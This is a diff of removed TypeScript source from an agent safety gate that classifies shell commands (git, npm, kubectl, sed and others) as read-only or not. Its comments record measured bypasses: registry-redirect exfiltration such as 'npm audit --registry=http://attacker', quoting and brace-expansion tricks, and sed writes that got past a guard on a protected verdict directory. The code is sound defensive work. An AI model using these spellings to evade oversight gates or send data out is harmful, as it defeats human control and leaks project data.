- }
402
- /**
403
- * `git remote` verbs that read without writing. Positive allow-list:
404
- * `add`/`remove`/`rm`/`rename`/`set-url`/`set-head`/`set-branches`/
405
- * `prune`/`update` all mutate and are therefore simply absent, so a
406
- * future write verb this floor has not reasoned about fails closed.
407
- * `show` and `get-url` contact/print only; `-v`/`--verbose` (a leading
408
- * dash) is bare listing.
409
- */
410
- const REMOTE_READ_ONLY_VERBS = new Set(["show", "get-url"]);
411
- /**
412
- * Per-subcommand argument-form check for a git subcommand whose NAME is
413
- * already in `GIT_READ_ONLY_SUBS`. Returns true only when the specific
414
- * argument form is provably read-only; anything else fails closed
415
- * (task 9d1fff1b). The design is POSITIVE per subcommand (enumerate the
416
- * read-only shapes) rather than a denylist of write shapes: a git
417
- * argument this floor has not reasoned about then over-blocks (annoying)
418
- * instead of laundering a write (unsafe) — the same choice the module
419
- * header states and the `npm audit` guard already makes.
420
- *
421
- * `args` is the token list AFTER the subcommand (i.e. `tokens.slice(2)`).
422
- */
423
- function isReadOnlyGitInvocation(sub, args) {
424
- // Global write/exec vectors reachable from many subcommands' shared
425
- // option parser and transport layer (--output, --upload-pack, ext::,
426
- // ...). Checked first so they apply to EVERY read-only subcommand,
427
- // including the ones the switch below returns `true` for unconditionally.
428
- if (args.some(isGitDangerousToken))
429
- return false;
430
- // End-of-options: everything after a bare `--` is an OPERAND, never a
431
- // flag, so fold it into the positional view. Without this, `git tag --
432
- // <name>` would read as an all-flag form. (git itself rejects a
433
- // dash-leading refname, so `git tag -- -x` errors rather than writing,
434
- // but the classifier should not depend on git's refname rules to stay
435
- // sound.)
436
- const ddIndex = args.indexOf("--");
437
- const flagScope = ddIndex === -1 ? args : args.slice(0, ddIndex);
438
- const operandTail = ddIndex === -1 ? [] : args.slice(ddIndex + 1);
439
- const isPositional = (t) => !t.startsWith("-");
440
- const noPositional = () => operandTail.length === 0 && flagScope.every((t) => !isPositional(t));
441
- switch (sub) {
442
- // Creating/deleting/moving a branch or tag ALWAYS takes a non-flag
443
- // operand (the branch/tag name), so "no non-flag operand" blocks
444
- // every positional write form structurally; the flag check adds the
445
- // few glued no-positional branch writes (--set-upstream-to=, etc.).
446
- // A bare `git branch` / `git tag` and pure-flag listings stay
447
- // read-only. `git tag` needs no flag denylist: every tag mutation
448
- // (create/delete/annotate) requires the tag-name operand.
449
- case "branch":
450
- return noPositional() && !flagScope.some(isBranchWriteFlag);
451
- case "tag":
452
- return noPositional();
453
- // `git remote`: bare, `-v`/flags, or the read-only verbs show/get-url.
454
- // Any other first non-flag token (add/set-url/prune/update/...) blocks.
455
- case "remote": {
456
- const verb = flagScope.find(isPositional) ?? operandTail[0];
457
- return verb === undefined || REMOTE_READ_ONLY_VERBS.has(verb);
458
- }
459
- // `git fetch`: bare or a single positional (a remote name or URL) is
460
- // floored read-only, matching the pre-existing fetch contract — it
461
- // writes remote-tracking refs, FETCH_HEAD, and auto-followed / `--tags`
462
- // tag refs, and `--prune` deletes remote-tracking refs; all of that is
463
- // consciously accepted here (measured, not "remote-tracking only" as an
464
- // earlier comment claimed). The escalation this task closes is the
465
- // arbitrary-LOCAL-ref write via a refspec: `git fetch <remote>
466
- // <src>:<localdst>` — a SECOND positional. So block on >=2 positionals.
467
- // (`--refmap` cannot carry a lone write: git dies "only meaningful with
468
- // command-line refspec(s)" without a positional refspec — measured.)
469
- // A single positional URL contains `:` (https://, git@host:) and is
470
- // correctly NOT blocked; the ext:: transport is caught by the global
471
- // danger check above. Separated flag values (`--depth 5`) inflate the
472
- // positional count and conservatively over-block; use `--depth=5`.
473
- case "fetch": {
474
- const positionalCount = flagScope.filter(isPositional).length + operandTail.length;
475
- return positionalCount <= 1;
476
- }
477
- // `git reflog`: the write verbs expire/delete/drop are always the
478
- // FIRST arg. Read-only iff bare, explicit `show`, or a flag-led form
479
- // (`git reflog -n 5`). A leading ref (`git reflog HEAD`, read-only)
480
- // is conservatively blocked — acceptable over-block. `--`-prefixed:
481
- // fall through to the operand so `git reflog -- expire` cannot pass.
482
- case "reflog": {
483
- const head = args[0] === "--" ? operandTail[0] : args[0];
484
- return head === undefined || head === "show" || head.startsWith("-");
485
- }
486
- // Every other subcommand in GIT_READ_ONLY_SUBS reads without a
487
- // ref/tree/index/config mutation for all argument forms (status,
488
- // ls-files, ls-remote, rev-parse, cat-file, ...). The two ways such a
489
- // subcommand could still write or execute — the shared `--output`
490
- // file handler and the `ext::`/`--upload-pack` transport execution —
491
- // are already forfeited by the global `isGitDangerousToken` check
492
- // above (measured on rev-list/shortlog/blame --output and ls-remote/
493
- // fetch upload-pack); config- and env-borne vectors (GIT_EXTERNAL_DIFF,
494
- // core.fsmonitor, protocol.ext.allow) are invisible to an argv
495
- // classifier and out of scope for this task.
496
- default:
497
- return true;
498
- }
499
- }
500
- /**
501
- * `gh` (GitHub CLI) noun + verb pairs that read state without writing.
502
- * `gh pr view`, `gh pr checks`, `gh run view`, `gh workflow list`, etc.
503
- */
504
- const GH_READ_ONLY_VERBS = new Set([
505
- "view", "list", "diff", "checks", "status",
506
- ]);
507
- const GH_READ_ONLY_NOUNS = new Set([
508
- "pr", "issue", "run", "workflow", "release",
509
- "repo", "label", "secret", "variable",
510
- ]);
511
- /**
512
- * `harness` subcommands that only inspect manifest or harness state.
513
- * `harness preflight` and `harness approve` are excluded: preflight
514
- * writes a ledger row, approve writes the approval marker. Both are
515
- * legitimate, but if the gate is currently blocking, classifying them
516
- * as read-only would let them bypass it silently. Operator-approval
517
- * commands have their own escape path in `isEscapeCommand`.
518
- */
519
- const HARNESS_READ_ONLY_SUBS = new Set([
520
- "doctor", "validate", "audit", "diff", "list", "version",
521
- "show", "status", "pause",
522
- ]);
523
- /**
524
- * `npm` subcommands that only inspect the installed tree, the registry,
525
- * or the lockfile without writing to `node_modules`, `package.json`,
526
- * `package-lock.json`, or the registry: `ls` / `list` (installed
527
- * dependency tree), `view` / `info` / `show` (registry metadata — `info`
528
- * and `show` are npm's own aliases for `view`), `outdated`, `why` /
529
- * `explain` (dependency-reason report — `explain` is `why`'s formal
530
- * name), `ping` (registry reachability check).
531
- *
532
- * Deliberately a curated ALLOWLIST, not a denylist of known-mutating
533
- * subcommands (`install`, `ci`, `publish`, `update`, `version`, ...): an
534
- * npm verb this floor has not been reasoned about — a new one in a
535
- * future npm release, or an existing one simply not enumerated here —
536
- * stays unclassified rather than being assumed safe, per the "unknown
537
- * is not safe" design contract.
538
- *
539
- * Only CANONICAL spellings are floored, not every alias npm accepts:
540
- * `la` / `ll` (aliases for `ls -la` / `ls -l`) and `v` (alias for `view`)
541
- * are deliberately NOT in this set. Widening to cover every alias is a
542
- * possible future extension, not required by this floor's goal (an
543
- * agent hitting one of those stays gated, not miscategorized as unsafe).
544
- *
545
- * `audit` is deliberately NOT in this set. `npm audit` alone (the
546
- * report) is read-only, but `npm audit fix` mutates the lockfile and
547
- * `node_modules`; a single subcommand membership test cannot
548
- * distinguish the two, so `audit` gets its own check in
549
- * `classifyTokens` instead of joining this allowlist.
550
- */
551
- const NPM_READ_ONLY_SUBS = new Set([
552
- "ls", "list", "view", "info", "show", "outdated", "why", "explain", "ping",
553
- ]);
554
- /**
555
- * npm flags that redirect npm's network/config lookups to an
556
- * operator-unverified location: `--registry` (dependency/audit data is
557
- * sent to whatever host this names instead of the real registry) and
558
- * `--userconfig` / `--globalconfig` (loads npm config — which can itself
559
- * set `registry` — from an arbitrary file). Any of these on an otherwise
560
- * floored npm subcommand forfeits the read-only classification: `npm
561
- * audit --registry=http://attacker` would submit the full dependency
562
- * manifest to the named host, which is exfiltration, not a safe read.
563
- * Matches the glued (`--registry=URL`) and separate (`--registry URL`)
564
- * unscoped forms, and the PER-SCOPE registry override
565
- * (`--@scope:registry=URL` / `--@scope:registry URL`, e.g.
566
- * `--@myorg:registry=http://attacker`) via `NPM_REGISTRY_FLAG_RE` — npm
567
- * resolves a scoped package's registry from `@scope:registry` before the
568
- * plain `registry` config, so the scoped form is an equally live
569
- * exfiltration vector, not merely a naming variant. `--userconfig` /
570
- * `--globalconfig` have no per-scope form; npm has no short-flag spelling
571
- * for any of these three.
572
- *
573
- * HONEST LIMIT: this is a CLI-token guard only. It cannot see (and does
574
- * not attempt to close) `registry` set via `.npmrc` (project, user, or
575
- * global) or the `npm_config_registry` environment variable — both
576
- * redirect npm's registry lookups identically to `--registry` but leave
577
- * no trace in the argv this classifier inspects. Do not read this guard
578
- * as "npm's registry source is verified"; it only denies the on-the-spot
579
- * CLI override.
580
- *
581
- * Quoting bypass (task 2dfdf472, measured against bash's own quote
582
- * removal): the RAW-token-only shape below was defeated the same way
583
- * `FIND_WRITE_FLAGS` was — `npm audit --"registry"=http://evil`,
584
- * `--reg"istry"=`, `--"userconfig"=`, and the scoped `--"@myorg:registry"=`
585
- * spelling all decode to the real flag while none of the RAW tokens
586
- * matches `NPM_REGISTRY_FLAG_RE` or the untrusted-flag set, so the
587
- * unfixed guard let each one keep the read-only floor while npm actually
588
- * sent the dependency manifest to the attacker-named host. Every other
589
- * write/danger guard in this file already tests raw-OR-decoded
590
- * (`isOutputWriteToken`, `isSortWriteToken`, `isFileWriteToken`,
591
- * `FIND_WRITE_FLAGS`, `isGitDangerousToken`, `isBranchWriteFlag`,
592
- * `ENV_SPLIT_STRING_FLAGS`); this guard had not been brought into that
593
- * convention. Fixed the same way: decoding can only ADD a match, never
594
- * remove one, so testing raw OR decoded is monotone by construction.
595
- */
596
- const NPM_REGISTRY_FLAG_RE = /^--(@[^:]+:)?registry(=|$)/;
597
- const NPM_UNSCOPED_UNTRUSTED_FLAGS = new Set([
598
- "--userconfig", "--globalconfig",
599
- ]);
600
- function hasNpmUntrustedSourceFlag(tokens) {
601
- return tokens.some((t) => checkNpmUntrustedSourceFlag(t) || checkNpmUntrustedSourceFlag(decodeShellWord(t)));
602
- }
603
- function checkNpmUntrustedSourceFlag(t) {
604
- return (NPM_REGISTRY_FLAG_RE.test(t) ||
605
- NPM_UNSCOPED_UNTRUSTED_FLAGS.has(t) ||
606
- [...NPM_UNSCOPED_UNTRUSTED_FLAGS].some((f) => t.startsWith(`${f}=`)));
607
- }
608
- /**
609
- * Common single-flag read-only invocations: `<bin> --version`,
610
- * `<bin> -v`, `<bin> --help`, `<bin> -h`. Token count must be 2 and
611
- * the second token must be one of these flags. Restricts to a
612
- * known-safe shape so a binary like `rm` cannot be smuggled past as
613
- * `rm --version`.
614
- */
615
- const VERSION_OR_HELP_FLAGS = new Set([
616
- "--version", "-V", "-v", "--help", "-h",
617
- ]);
618
- /**
619
- * True when `trimmed` contains a shell chaining (`;`, `&`, `|`),
620
- * redirection (`<`, `>`), command-substitution (backtick, `$(`), or a
621
- * bare carriage return that could hide a write (or, for `curl`'s `-H`
622
- * values, a header-injection newline a lenient parser folds on) behind
623
- * an otherwise-provable read. Shared by `isReadOnlyBashCommand` and
624
- * `isReadOnlyKubectlCommand` below (extracted, task da823721, to keep
625
- * their identical preamble from being flagged as new copy-paste by the
626
- * duplication gate), by `floorArgv` (`isReadOnlySedCommand`'s own
627
- * preamble -- `floorArgv`'s only caller since D-013 removed the curl
628
- * floor it used to also serve), and directly by `isReadOnlyCurlCommand`
629
- * (task fdaad781, round 2:
630
- * added `\r` after a measured bare-CR header-injection reaching curl's
631
- * wire, see docs/risk-gate.md's curl section). NOT reused by
632
- * `isReadOnlyBashPipeline`, which deliberately admits a bare `|` (see
633
- * its own doc comment) and so needs a narrower reject set.
634
- */
635
- function hasUnsafeShellMetachar(trimmed) {
636
- return (/[;&|<>]/.test(trimmed) ||
637
- trimmed.includes("\n") ||
638
- trimmed.includes("\r") ||
639
- trimmed.includes("`") ||
640
- trimmed.includes("$("));
641
- }
642
- /**
643
- * Classify a Bash command string. `true` means the command is
644
- * provably read-only and the understanding-gate can allow it without
645
- * an approved report. `false` means the command is either a write or
646
- * unclassifiable; the gate must block (fail-closed).
647
- *
648
- * The classifier inspects the command as a raw shell string. It does
649
- * NOT shell-parse or evaluate the command — that would introduce its
650
- * own attack surface. Instead it rejects any string that contains
651
- * shell metacharacters that could hide a write, then looks at the
652
- * first one or two tokens.
653
- */
654
- export function isReadOnlyBashCommand(command) {
655
- const trimmed = command.trim();
656
- if (trimmed === "")
657
- return false;
658
- // Reject any shell chaining, redirection, or command substitution.
659
- // These make the command unclassifiable even when every visible
660
- // piece would otherwise be read-only. Applied once to the whole
661
- // string, so it also covers any residual command a runner
662
- // (`env` / `command`) wraps: those are classified from the same
663
- // token slice, never from a re-read of the shell.
664
- if (hasUnsafeShellMetachar(trimmed))
665
- return false;
666
- // Refuse any NUL-decoding ANSI-C escape (`$'\0'`, `$'\x00'`, `\c@`, ...):
667
- // bash truncates the `$'...'` run there, so the argument it passes is not
668
- // the one the token checks below see. Not modelled, refused (task
669
- // 241d9e9e); see the header of shell-word.ts.
670
- if (hasAnsiCNulEscape(trimmed))
671
- return false;
672
- return classifyTokens(trimmed.split(/\s+/));
673
- }
674
- /**
675
- * Classify a Bash command that MAY be a `|` pipeline. `true` means every
676
- * stage is provably read-only, so the whole pipeline reads without
677
- * writing and the understanding-gate can allow it without an approved
678
- * report. This is the pipeline-aware companion to `isReadOnlyBashCommand`,
679
- * used ONLY by the understanding-gate PreToolUse hooks so a post-task
680
- * read-only poll like `gh pr checks 123 | head` is not blocked.
681
- *
682
- * Safety: a pipe between provably read-only stages authorizes no writes —
683
- * writing requires a write-bin (not on the conservative allowlist), a
684
- * redirection, or a command substitution, all of which are still refused
685
- * before the split. Everything except a single `|` is rejected up front:
686
- * `;`, `&` (and thus `&&`, `|&`, background `&`), `<`, `>`, backtick, and
687
- * `$(`. `||` (logical OR) and a leading/trailing/doubled pipe surface as
688
- * an empty stage and are refused. Each stage is then handed to the strict
689
- * `isReadOnlyBashCommand`, so the per-bin write-flag guards (`find`,
690
- * `sort`, `tree`, `file`) and the `command`/`env` runner recursion all
691
- * still apply per stage.
692
- */
693
- export function isReadOnlyBashPipeline(command) {
694
- const trimmed = command.trim();
695
- if (trimmed === "")
696
- return false;
697
- // Reject everything the single-command classifier rejects EXCEPT a
698
- // single `|`. Keeping `&` in the reject set also kills `&&`, `|&`, and a
699
- // backgrounding `&`; redirection and substitution stay refused. After
700
- // this, the only metacharacter that can remain is `|`.
701
- if (/[;&<>]/.test(trimmed))
702
- return false;
703
- if (trimmed.includes("\n"))
704
- return false;
705
- if (trimmed.includes("`"))
706
- return false;
707
- if (trimmed.includes("$("))
708
- return false;
709
- // Checked on the whole text as well as per stage: a `|` inside a `$'...'`
710
- // run would otherwise split a NUL escape away from its opening `$'`.
711
- if (hasAnsiCNulEscape(trimmed))
712
- return false;
713
- // Split on the pipe and require every stage to be a non-empty, provably
714
- // read-only command. An empty stage means `||`, a leading/trailing pipe,
715
- // or `| |` — all refused. A single command (no pipe) yields one stage and
716
- // is classified exactly as `isReadOnlyBashCommand` would.
717
- return trimmed.split("|").every((stage) => {
718
- const s = stage.trim();
719
- if (s === "")
720
- return false;
721
- return isReadOnlyBashCommand(s);
722
- });
723
- }
724
- // Kubectl read-only VERB floor — used ONLY by the Risk Classifier's
725
- // built-in floor (`risk-classifier.ts`), never by `isReadOnlyBashCommand`
726
- // / `isReadOnlyBashPipeline` above. Task da823721 (blast-radius decision,
727
- // verb list, secrets/configmap exclusion, and the fail-safe rationale
728
- // for each: all recorded in docs/risk-gate.md's "Kubectl read-only verb
729
- // floor" section — this is the single source of truth for the scope,
730
- // keep it there rather than duplicating it here).
731
- //
732
- // Design: two ALLOWLISTS, not a metacharacter denylist. Round 1 and
733
- // round 2 of this task each patched one more shell-metacharacter
734
- // bypass onto a substring/decode-based exclusion (`$`-expansion,
735
- // quoting, escaping); round-2 review then found brace expansion
736
- // (`s{e..e}cret`), glob patterns (`s*`, `sec[r]et`), and endpoint
737
- // redirection (`--server`/`-s`/`--kubeconfig`) still slipping through,
738
- // because the fix kept adding exclusions for the metacharacter of the
739
- // week instead of closing the class. The halt decision from that round
740
- // was to stop enumerating metacharacters and redesign to allowlists:
741
- // (1) every token after `kubectl` must match a plain-word shape — no
742
- // quotes, backslashes, `$`, backticks, braces, globs, or any other
743
- // shell-special character survives that check, which is what actually
744
- // closes the brace/glob/quote/escape class at once instead of one
745
- // pattern at a time; (2) every flag token must be an explicitly named,
746
- // known-read flag for its verb (or a known global flag) — which is
747
- // what closes the endpoint-redirection class (`--server`, `-s`,
748
- // `--kubeconfig`, `--token`, `--as`, ... are simply never allowlisted,
749
- // pre- or post-verb) and the file/kustomize-driven resource-selection
750
- // class (`-f`/`--filename`/`-k`/`--kustomize` are not in any verb's
751
- // allowlist) and the `--raw` arbitrary-endpoint class (`--raw` is not
752
- // in any verb's allowlist either) in the same pass. Invariant:
753
- // `isReadOnlyKubectlCommand` returns `true` only for a curated read
754
- // verb, every token argv-shaped as a plain word, every flag drawn from
755
- // that verb's explicit allowlist, and no secret/configmap resource
756
- // mention; every other shape fails closed to `false`.
757
- const KUBECTL_READ_ONLY_VERBS = new Set([
758
- "get", "describe", "logs", "top",
759
- "api-resources", "api-versions", "version", "cluster-info", "explain",
760
- ]);
761
- // Verbs whose resource argument can materialize live Secret or
762
- // ConfigMap data.
763
- const KUBECTL_SENSITIVE_RESOURCE_VERBS = new Set(["get", "describe"]);
764
- // Token shape allowlist. Every token after `kubectl` must match this:
765
- // letters, digits, and `_ . : / = , @ % + -`. That excludes quotes,
766
- // backslashes, `$`, backticks, `{`/`}` (brace expansion), `*`/`?`/`[`/`]`
767
- // (globs), `~`, `!`, `#`, `&`, `;`, `|`, `<`, `>`, `(`, `)`, and spaces
768
- // (embedded via quoting). A token that fails this never reaches the
769
- // verb or flag checks below: fail-closed on shape alone. This also
770
- // makes decoding quoted/escaped forms of "secret" or "configmap"
771
- // unnecessary — a quoted or escaped token simply never matches this
772
- // pattern in the first place, so the resource-mention checks below only
773
- // ever need to look at the raw token.
774
- const KUBECTL_PLAIN_WORD_PATTERN = /^[A-Za-z0-9_.:/=,@%+-]+$/;
775
- // Global flags, allowed before OR after the verb. Only the ones in
776
- // `KUBECTL_GLOBAL_VALUE_FLAGS` consume a following token as their value
777
- // (in the `--flag value` form; `--flag=value` never consumes a
778
- // following token). Deliberately excludes every flag that names an
779
- // alternate endpoint or identity — `--server`, `-s`, `--kubeconfig`,
780
- // `--token`, `--as`, `--as-group`, `--user`, `--cluster`,
781
- // `--tls-server-name`, `--insecure-skip-tls-verify` — so none of them
782
- // can ever float credentials or requests to a caller-chosen host
783
- // through this floor, no matter whether they appear before or after
784
- // the verb.
785
- const KUBECTL_GLOBAL_ALLOWED_FLAGS = new Set([
786
- "--context", "--namespace", "-n", "--request-timeout", "-v", "--v",
787
- "--all-namespaces", "-A",
788
- ]);
789
- const KUBECTL_GLOBAL_VALUE_FLAGS = new Set([
790
- "--context", "--namespace", "-n", "--request-timeout", "-v", "--v",
791
- ]);
792
- // Per-verb read-flag allowlists. `*_VALUE` is the subset that consumes
793
- // a following token as its value in the `--flag value` form; every
794
- // other allowed flag is boolean (never consumes a following token).
795
- // `--raw` (arbitrary API server path) and the file/kustomize-driven
796
- // resource selectors `--filename`/`-k`/`--kustomize` (this module
797
- // cannot see what a manifest file or kustomization directory names, so
798
- // it cannot prove the selected resource is not a Secret or ConfigMap)
799
- // are deliberately absent from every verb's allowlist below — that
800
- // omission is the enforcement mechanism, not a separate check. `-f` is
801
- // allowlisted for `logs` ONLY, where it means --follow; on `get` and
802
- // `describe` it is the file selector and is deliberately absent.
803
- // Every `*_VALUE` member must be a pflag flag with an empty NoOptDefVal
804
- // (it always consumes the next argv element): if upstream ever turns
805
- // one of them into a boolean-with-default, the following token stops
806
- // being consumed by kubectl and must be re-validated here.
807
- const KUBECTL_GET_ALLOWED_FLAGS = new Set([
808
- "-o", "--output", "-l", "--selector", "--field-selector", "-w", "--watch",
809
- "--watch-only", "--show-labels", "--no-headers", "--sort-by", "--show-kind",
810
- "--label-columns", "-L", "--chunk-size", "--ignore-not-found",
811
- ]);
812
- const KUBECTL_GET_VALUE_FLAGS = new Set([
813
- "-o", "--output", "-l", "--selector", "--field-selector", "--sort-by",
814
- "--label-columns", "-L", "--chunk-size",
815
- ]);
816
- const KUBECTL_DESCRIBE_ALLOWED_FLAGS = new Set([
817
- "-l", "--selector", "--show-events",
818
- ]);
819
- const KUBECTL_DESCRIBE_VALUE_FLAGS = new Set(["-l", "--selector"]);
820
- const KUBECTL_LOGS_ALLOWED_FLAGS = new Set([
821
- "-f", "--follow", "-c", "--container", "--all-containers", "--tail", "--since",
822
- "--since-time", "--timestamps", "-p", "--previous", "--limit-bytes", "--prefix",
823
- "-l", "--selector", "--max-log-requests",
824
- ]);
825
- const KUBECTL_LOGS_VALUE_FLAGS = new Set([
826
- "-c", "--container", "--tail", "--since", "--since-time", "--limit-bytes",
827
- "-l", "--selector", "--max-log-requests",
828
- ]);
829
- const KUBECTL_TOP_ALLOWED_FLAGS = new Set([
830
- "--containers", "--sort-by", "-l", "--selector", "--no-headers",
831
- "--use-protocol-buffers",
832
- ]);
833
- const KUBECTL_TOP_VALUE_FLAGS = new Set(["--sort-by", "-l", "--selector"]);
834
- // Shared by the informational verbs: api-resources, api-versions,
835
- // version, cluster-info, explain, and `auth can-i`.
836
- const KUBECTL_INFO_ALLOWED_FLAGS = new Set([
837
- "-o", "--output", "--namespaced", "--verbs", "--api-group", "--sort-by",
838
- "--recursive", "--list", "-A", "--all-namespaces", "--client", "--short",
839
- ]);
840
- const KUBECTL_INFO_VALUE_FLAGS = new Set([
841
- "-o", "--output", "--verbs", "--api-group", "--sort-by",
842
- ]);
843
- /** True when any raw token mentions "secret" (case-insensitive substring). */
844
- function kubectlArgMentionsSecret(tokens) {
845
- return tokens.some((t) => t.toLowerCase().includes("secret"));
846
- }
847
- /**
848
- * True when any raw token mentions "configmap", or is (or contains, as
849
- * one comma-separated resource-list segment) the bare abbreviation
850
- * `cm` — `get cm`, `get cm/my-map`, `get pods,cm`, `get cm,pods` are
851
- * all caught. ConfigMap data is a common credential store (see
852
- * docs/risk-gate.md), so it gets the same fail-safe exclusion as
853
- * Secrets. The `cm` check is segment-based rather than a bare substring
854
- * match so it does not fire on an unrelated word that merely starts or
855
- * ends with "cm" (`cmd`, `cmagent`).
856
- */
857
- function kubectlArgMentionsConfigMap(tokens) {
858
- return tokens.some((t) => {
859
- const lower = t.toLowerCase();
860
- if (lower.includes("configmap"))
861
- return true;
862
- return lower.split(",").some((seg) => seg === "cm" || seg.startsWith("cm/"));
863
- });
864
- }
865
- /**
866
- * Kubectl read-only floor for the Risk Classifier ONLY — see the module
867
- * doc above this constant block for scope and the blast-radius
868
- * decision. `true` means every token after `kubectl` is argv-shaped as
869
- * a plain word, a curated read verb was invoked, every flag is drawn
870
- * from that verb's (or the global) allowlist, and — for `get`/
871
- * `describe` — no token mentions a Secret or ConfigMap resource, with
872
- * no shell chaining, redirection, or substitution anywhere in the
873
- * command.
874
- */
875
- export function isReadOnlyKubectlCommand(command) {
876
- const trimmed = command.trim();
877
- if (trimmed === "")
878
- return false;
879
- if (hasUnsafeShellMetachar(trimmed))
880
- return false;
881
- const tokens = trimmed.split(/\s+/);
882
- if (tokens[0] !== "kubectl")
883
- return false;
884
- const rest = tokens.slice(1);
885
- // Token shape allowlist: every token after `kubectl` must be a plain
886
- // word (see the constant doc above). Closes brace expansion, globs,
887
- // quoting, and escaping in one check, before any verb or flag logic
888
- // runs.
889
- if (rest.some((t) => !KUBECTL_PLAIN_WORD_PATTERN.test(t)))
890
- return false;
891
- // Walk any leading global flags to find the verb. An unrecognized
892
- // flag here fails closed immediately — a token starting with `-`
893
- // can never itself be the verb.
894
- let idx = 0;
895
- while (idx < rest.length) {
896
- const t = rest[idx];
897
- if (t === undefined || !t.startsWith("-"))
898
- break;
899
- const eq = t.indexOf("=");
900
- const flagName = eq === -1 ? t : t.slice(0, eq);
901
- if (!KUBECTL_GLOBAL_ALLOWED_FLAGS.has(flagName))
902
- return false;
903
- idx += 1;
904
- if (eq === -1 && KUBECTL_GLOBAL_VALUE_FLAGS.has(flagName)) {
905
- if (idx >= rest.length)
906
- return false; // missing value: fail closed
907
- idx += 1;
908
- }
909
- }
910
- const sub = rest[idx];
911
- if (sub === undefined)
912
- return false; // bare `kubectl` or only global flags
913
- idx += 1;
914
- let verbAllowedFlags;
915
- let verbValueFlags;
916
- // `auth can-i` is a permission CHECK, never the resource's own data,
917
- // so it is deliberately excluded from `KUBECTL_SENSITIVE_RESOURCE_VERBS`
918
- // (that Set only ever names `get`/`describe`) and this lookup returns
919
- // `false` for it without a separate branch.
920
- const sensitiveVerb = KUBECTL_SENSITIVE_RESOURCE_VERBS.has(sub);
921
- if (sub === "auth") {
922
- if (rest[idx] !== "can-i")
923
- return false;
924
- idx += 1;
925
- verbAllowedFlags = KUBECTL_INFO_ALLOWED_FLAGS;
926
- verbValueFlags = KUBECTL_INFO_VALUE_FLAGS;
927
- }
928
- else if (!KUBECTL_READ_ONLY_VERBS.has(sub)) {
929
- return false;
930
- }
931
- else {
932
- switch (sub) {
933
- case "get":
934
- verbAllowedFlags = KUBECTL_GET_ALLOWED_FLAGS;
935
- verbValueFlags = KUBECTL_GET_VALUE_FLAGS;
936
- break;
937
- case "describe":
938
- verbAllowedFlags = KUBECTL_DESCRIBE_ALLOWED_FLAGS;
939
- verbValueFlags = KUBECTL_DESCRIBE_VALUE_FLAGS;
940
- break;
941
- case "logs":
942
- verbAllowedFlags = KUBECTL_LOGS_ALLOWED_FLAGS;
943
- verbValueFlags = KUBECTL_LOGS_VALUE_FLAGS;
944
- break;
945
- case "top":
946
- verbAllowedFlags = KUBECTL_TOP_ALLOWED_FLAGS;
947
- verbValueFlags = KUBECTL_TOP_VALUE_FLAGS;
948
- break;
949
- default: // api-resources, api-versions, version, cluster-info, explain
950
- verbAllowedFlags = KUBECTL_INFO_ALLOWED_FLAGS;
951
- verbValueFlags = KUBECTL_INFO_VALUE_FLAGS;
952
- }
953
- }
954
- const remainder = rest.slice(idx);
955
- // Validate every remaining flag token against the combined global +
956
- // per-verb allowlist (global flags are legal both before and after
957
- // the verb). Positional tokens (resource names, selector values
958
- // already consumed as a flag's value) are not re-validated here —
959
- // they were already checked against the plain-word pattern above.
960
- for (let i = 0; i < remainder.length; i++) {
961
- const t = remainder[i];
962
- if (t === undefined)
963
- continue;
964
- if (!t.startsWith("-")) {
965
- // `cluster-info` takes no positional: `cluster-info dump` prints
966
- // cluster-wide pod logs and is refused (fail-safe), as is any
967
- // future sub-subcommand. Every other verb's positionals were
968
- // already shape-checked above.
969
- if (sub === "cluster-info")
970
- return false;
971
- continue;
972
- }
973
- const eq = t.indexOf("=");
974
- const flagName = eq === -1 ? t : t.slice(0, eq);
975
- const isGlobal = KUBECTL_GLOBAL_ALLOWED_FLAGS.has(flagName);
976
- const isVerbFlag = verbAllowedFlags.has(flagName);
977
- if (!isGlobal && !isVerbFlag)
978
- return false;
979
- if (eq === -1) {
980
- const takesValue = (isGlobal && KUBECTL_GLOBAL_VALUE_FLAGS.has(flagName)) ||
981
- (isVerbFlag && verbValueFlags.has(flagName));
982
- if (takesValue) {
983
- i += 1;
984
- if (i >= remainder.length)
985
- return false; // missing value: fail closed
986
- }
987
- }
988
- }
989
- if (sensitiveVerb &&
990
- (kubectlArgMentionsSecret(remainder) || kubectlArgMentionsConfigMap(remainder))) {
991
- return false;
992
- }
993
- return true;
994
- }
995
- // ---------------------------------------------------------------------------
996
- // `sed` read-only floor, Risk-Classifier ONLY (task 2929c5b7).
997
- //
998
- // Placed here beside `isReadOnlyKubectlCommand` above, and wired ONLY at
999
- // `risk-classifier.ts`'s built-in floor, for the same reason that floor is:
1000
- // `isReadOnlyBashCommand` is consumed DIRECTLY by two other gates, and both
1001
- // short-circuit on it before running their own checks. The
1002
- // solution-acceptance write-guard (`src/cli/pack/hook-solution-acceptance-
1003
- // writeguard.ts`) returns `blocked: false` for anything
1004
- // `isReadOnlyBashCommand` accepts BEFORE it ever looks at whether the
1005
- // command references the protected verdict directory. Teaching the shared
1006
- // predicate about `sed` therefore widens that guard: review round 2 of this
1007
- // task measured `sed 's/a/b/w <verdict-dir>/marker.json' f` and
1008
- // `sed -n 'w <verdict-dir>/marker.json' f` going BLOCKED -> ALLOWED. This
1009
- // predicate must therefore stay OUT of `classifyTokens`; the write-guard
1010
- // pins in `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts`
1011
- // fail if that is ever undone.
1012
- //
1013
- // NO `curl` FLOOR EXISTS, deliberately (decision D-013, this run). Rounds
1014
- // 2 and 3 both shipped one and both leaked: round 2's write-flag denylist
1015
- // missed `-o`/`-O`/`-D`/`-c`/`-K`, and round 3's flag ALLOWLIST still
1016
- // admitted `-w`/`--write-out`, whose `%output{FILE}` directive writes a
1017
- // local file since curl 8.3.0 (measured on curl 8.7.1). The recurring
1018
- // class is the premise, not the list: deciding a curl invocation is inert
1019
- // requires knowing every curl flag's write capability across curl
1020
- // versions, and `-H @file` shows the value side has the same problem.
1021
- // `curl` therefore stays UNCLASSIFIED, like `ssh` and `node -e`, and rides
1022
- // the `when:` evaluator's fallback: approval-gated in a production
1023
- // context, never hard-blocked, never floored. Its write-capable spellings
1024
- // are raised to `high` by `destructive-shell-floor.ts` instead, which only
1025
- // has to recognise capability it CAN name. See docs/risk-gate.md's
1026
- // "Unclassified actions and the fail-close rule".
1027
- //
1028
- // Design: ALLOWLIST, fail closed (decision D-012, this run). Every token
1029
- // after the head must be recognised: a known read-only flag, a known
1030
- // flag's value, or a plain operand. An unknown flag, an unknown short-flag
1031
- // cluster character, a missing flag value, or anything this module cannot
1032
- // name forfeits the floor. That is the opposite of the round-2 shape
1033
- // (a denylist of write flags, where every flag nobody had enumerated
1034
